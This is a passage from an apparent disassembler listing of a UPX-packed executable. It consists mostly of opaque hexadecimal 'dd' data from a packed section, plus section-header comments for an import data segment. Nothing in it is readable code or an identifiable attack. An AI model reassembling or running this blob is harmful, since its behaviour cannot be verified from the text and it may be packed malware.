0E7B4C96Eh, 0CF084516h, 58A443E5h, 19EF2257h, 0CE8AD401h dd 28BB9586h, 0E4B48A7Bh, 164B1D74h, 0C754100Ch, 68202F8Fh dd 572638C1h, 0E0A0BF0Fh, 1CC46109h, 8B010F23h, 2B40C992h dd 31A1EDDEh, 0E4F59012h, 0D45D8F06h, 0C80C1196h, 4364AC6Bh dd 37E4994Ah, 0E89E2116h, 0EF4C6CBFh, 0A4007BFEh, 47E0D83Fh dd 0D9E8A576h, 61B80402h, 92F5CA08h, 5704B99Eh, 7EF8B166h dd 0FF09EB54h, 44606D2Ah, 2700385Fh, 3B48C596h, 75C7E462h dd 69525F29h, 80460F08h, 0AC521CADh, 0EDB68340h, 20B76F68h dd 651FCD28h, 0C3AA6A52h, 0E6BA8CC1h, 0EC307DCEh, 0E8BF316Eh dd 390D0AD9h, 70FC612Bh, 0B315A9CBh, 49C1B69Ah, 8448C5EFh dd 0FFB9EDB7h, 0D95D906Eh, 3A6459F3h, 2B21B713h, 458ED0B2h dd 8535B27Eh, 78542903h, 1B5D9D63h, 49990E82h, 0DCF0FD77h dd 97B145BFh, 0C5CDB8E6h, 0B03CA1EAh, 73D9FF2Bh, 724BDF5Ah dd 0BBC870A2h, 461AB461h, 8010DDEEh, 0F7245962h, 2A32C8C6h dd 5CD52C73h, 63980D7Eh, 4791E875h, 9E2825A3h, 97EF7202h dd 0A2BF0DF1h, 0D7D1B9EFh, 0DB05B6A6h, 7A7C8B92h, 0F218BC2h dd 0D698C53Eh, 13A81623h, 0C0F3AE66h, 7DB8989Bh, 0DF1B66B1h dd 1467AAD4h, 82A32F53h, 41349B86h, 7D4CC02h, 7E00C576h dd 0EA538EFDh, 8734B6F7h, 19B1749Ah, 80F8F55Eh, 4EDA6902h dd 0C0622B24h, 675C5FFFh, 0B0083A96h, 0ADCCFBA6h, 3B05A27Eh dd 0F4A4993Fh, 95591D82h, 0B3237E2Eh, 0D5C38ECBh, 0BCBF41FEh dd 0E4401AC9h, 0BE13CEBDh, 0E344C54Dh, 0A6AFB9EAh, 4BB8DA9Eh dd 8FECC912h, 0D3E26D5Eh, 2744F19Ah, 78A085D6h, 7D8CD122h dd 0D75D1D4Ah, 99A915EEh, 17182D05h, 2F34E1ABh, 58804D7Eh dd 0DA644D6Eh, 0B6E93F7Dh, 1F6CC591h, 0DC1584A6h, 0D34618D5h dd 887E37E6h, 0F339E6D3h, 0C29BA29Ah, 7FE70E18h, 67C7B674h dd 1A1Ch dup(0) UPX2 ends ; Section 4. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00011000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31441000h align 2000h _idata2 ends end start